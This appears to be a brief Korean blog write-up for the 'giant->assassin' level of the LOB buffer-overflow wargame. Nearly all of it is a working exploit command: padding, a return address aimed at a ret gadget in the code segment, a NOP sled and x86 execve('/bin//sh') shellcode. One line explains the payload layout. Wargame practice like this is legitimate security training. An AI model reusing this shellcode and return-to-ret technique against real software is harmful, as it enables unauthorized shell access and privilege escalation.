Wargame/lob
giant->assassin
ExploitSori
2018. 3. 7. 02:08
./assassin `python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\x14\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'`
ret부분에 코드영역의 ret명령을 사용했다.
buf + ret + shellcode ret +shellcode
pushing me away